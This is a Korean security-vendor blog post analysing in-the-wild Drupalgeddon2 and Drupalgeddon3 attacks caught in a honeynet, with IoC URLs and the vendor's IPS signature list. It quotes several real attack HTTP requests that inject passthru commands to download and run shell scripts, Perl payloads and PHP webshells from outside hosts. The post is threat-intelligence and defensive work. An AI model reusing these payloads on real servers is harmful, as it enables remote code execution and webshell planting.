Wins blog

글로벌 정보보안 파트너! Global Security  No.1 윈스는 국가대표 정보보안 기업에서 글로벌 강소기업으로 도약합니다.

보안 정보

앞 내용 보기 다음 내용 보기
보안 동향APT 그룹에서 지속적으로 사용하는 Drupal 취약점
작성일 2018-11-21 조회 830

 

 

최근 들어 Drupal 취약점을 이용한 공격이 지속적으로 발생하고 있습니다.

 

해당 취약점은 CVE-2018-7600, 7602 가 할당 되었으며,
Drupalgeddon2, Drupalgeddon3 로 명명되었습니다.

 

간단하게 해당 취약점에 대해 알아보면 다음과 같습니다.

 


CVE-2018-7600, Drupalgeddon2


Drupal에서는 사용자가 Request 전달하면 doRender()함수를 통해 렌더링이 됩니다. 대부분의 경우 사용자는 doRender()함수의 elements 매개 변수를 제어할 수가 없습니다. Drupalgeddon2은 email 주소필드를 통해 전달되는 매개변수가 사용자가 제어가 가능하게되어 취약점이 발생 합니다.

 

상세 분석은 아래에서 확인 가능
http://www.wins21.co.kr/blog/blog-sub-02.html?t=31&d=49&num=954


CVE-2018-7602, Drupalgeddon3


Drupalgeddon3은 Drupal의 UI 요소 대부분의 구조를 출력하도록 메타 데이터를 렌더링하는 Form API의 부적절한 입력 유효성 검사로 인해 발생합니다.

 

상세 분석은 아래에서 확인 가능
http://www.wins21.co.kr/blog/blog-sub-02.html?t=31&d=49&num=971


 

취약점에 대한 PoC 가 공개 된지 7개월이 지난 현재에도 공격에 사용되고 있다는 것은 몇가지를 생각해 볼 수 있습니다.


1. 취약점이 악용이 매우 간편하다.

2. 취약점이 대응되고 있지 않다.

3. 취약점을 이용한 Tool 이 존재한다.

 

실제로 Drupalgeddon 는 악용이 매우 간편하며, 많이 사용되고 있으며, 자동화 된 Tool 이 존재합니다.

 

[그림1. Shodan 검색 내역]

 

 

[그림2. 자동화 된 Tool 에 추가 된 내역]

 


허니넷을 통해 실제 들어오는 공격을 확인해보면


Drupalgeddon 취약점을 이용하여 다양한 종류의 WebShell 을 실행 시키려는 시도를 하고 있습니다.

 

 

* 공격 형태는 PoC와 동일

 

[그림3. Exploit-DB PoC]

 

 

* 실제 발생하는 공격 형태 


POST //?q=user/password&name[%23post_render][]=passthru&name[%23markup]=kill%20-9%20-1;%20nohup%20wget%20-O%20-

%20http://164.132.159.56/drupal/zps.sh%7Csh%20&;%20nohup%20

curl%20%20http://164.132.159.56/drupal/zps.jpg%7Csh%20&&name[%23type]=markup HTTP/1.1

 

POST /?name%5B%23post_render]%5B]=passthru&name%5B%23markup]=

cd+%2Fvar%2Ftmp%3Bwget+146.185.167.39%2Fdmi%3Bperl+dmi%3Brm+-rf+dmi&q=user%2Fpassword&name%5B%23type]=markup HTTP/1.1
POST /?name[#post_render]

[]=passthru&name[#markup]=cd+/var/tmp;wget+146.185.167.39/dmi;perl+dmi;rm+-rf+dmi&q=user/password&name[#type]=markup HTTP/1.1

 

POST //?q=user/password&name[%23post_render][]=passthru

&name[%23type]=markup&name[%23markup]=

curl%20https://raw.githubusercontent.com/Theanvenger/Tryag-File-Manager-jpeg/master/up.php%20%7C%20

wget%20https://raw.githubusercontent.com/Theanvenger/Tryag-File-Manager-jpeg/master/up.php HTTP/1.1

 

POST //?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=

curl+-O+sites/default/files/style.php+'http://djcaa.org/style.aff' HTTP/1.1

 


다운로드 되는 파일을 확인해보면,


1. Linux 의 특정 명령 들을 이용한 Shell Script 형태

2. 난독화 되어 있는 WebShell

 

난독화 되어 있는 WebShell을 확인 해보면 최대 6중으로 난독화 되어있습니다.


대부분의 WebShell 난독화 형식과 횟수만 다를 뿐이지

최종적으로 동일한 내용을 포함하고 있습니다.

 

[그림4. Shell Script 내역]

 

 

[그림5. WebShell 내역]

 

 

WebShell 은 Web Server 의 Config 정보를 특정 메일 주소로 전송하는 기능을 가지고 있으며,

php 파일을 추가적으로 생성하여 Webshell 역할을 하게 합니다.

또한 추가적인 파일 생성 합니다.

 


추가적으로

당사에서는 DirtyCOW 버그를 이용한 Durpal 웹서버를 공격하는 형태는 파악되지 않았지만,

계속적인 Durpal 공격이 진행되고 있는 상황에서는

해당 공격에 대해서도 대비가 필요할 것으로 판단 됩니다.

 

* 참고

https://www.imperva.com/blog/dirtycow-bug-drives-attackers-to-a-backdoor-in-vulnerable-drupal-web-servers/

 

 

IoC 정보
WebShell Download URL
hxxp://wordpress[.]com[.]a1commodities[.]com[.]sg/demit[.]aff
hxxp://wordpress[.]com[.]a1commodities[.]com[.]sg/cia[.]php
hxxp://wordpress[.]com[.]yenicagteknolojileri[.]com/authorized[.]php
hxxp://185[.]10[.]68[.]100/d/ldv[.]sh
hxxp://185[.]10[.]68[.]100/d/ldv[.]jpg
hxxp://nra[.]gov[.]np/livelihood//modules[.]php
hxxp://www[.]ambusiness[.]com[.]br/tes[.]aff
hxxp://164[.]132[.]159[.]56/drupal/ups[.]sh
hxxp://164[.]132[.]159[.]56/drupal/ups[.]jpg
hxxp://vonalingatlan[.]hu/media/system/rhs/rhs[.]aff
hxxp://dhinaurimai[.]com/payloads[.]php
hxxp://vonalingatlan[.]hu/media/system/js/arkano[.]aff
hxxp://djcaa[.]org/style[.]aff
hxxp://146[.]185[.]167[.]39/dmi
hxxp://164[.]132[.]159[.]56/drupal/2/olo
hxxp://wordpress[.]com[.]djcaa[.]org/style[.]php
hxxp://hakata-hv-hp[.]or[.]jp/demit[.]php
hxxp://ks[.]lequseo[.]cn/2.txt
hxxp://saint-laurent-gorre[.]fr/demit[.]aff
hxxp://www[.]peaceau[.]org/bis/demit[.]aff
hxxp://185[.]234[.]218[.]248:1099/LoadObject

 


Drupalgeddon 취약점 대응 현황

 

1) Drupalgeddon2
- [IPS] 4224, Drupal Core doRender RCE
- [IPS] 4240, Drupal Core doRender RCE.A
- [IPS] 4241, Drupal Core doRender RCE.B
- [IPS] 4242, Drupal Core doRender RCE.C
- [IPS] 4243, Drupal Core doRender RCE.D
- [IPS] 4264, Drupal Core doRender RCE.E
- [IPS] 4265, Drupal Core doRender RCE.F
- [IPS] 4557 - 4568, Drupal Drupalgeddon2 Renderable Array Key RCE - K

 

2) Drupalgeddon3
- [IPS] 4250, Drupal Core confirm_form RCE
- [IPS] 4251, Drupal Core confirm_form RCE.A
- [IPS] 4252, Drupal Core confirm_form RCE.B

 

3) WebShell Download

- [IPS] 4581, PHP WebShell Backdoor Download
- [IPS] 4582, PHP WebShell Backdoor Download.A

 

 

 

 

첨부파일 첨부파일이 없습니다.
태그 Drupal   CVE-2018-7600  CVE-2018-7602  Drupalgeddon2  Drupalgeddon3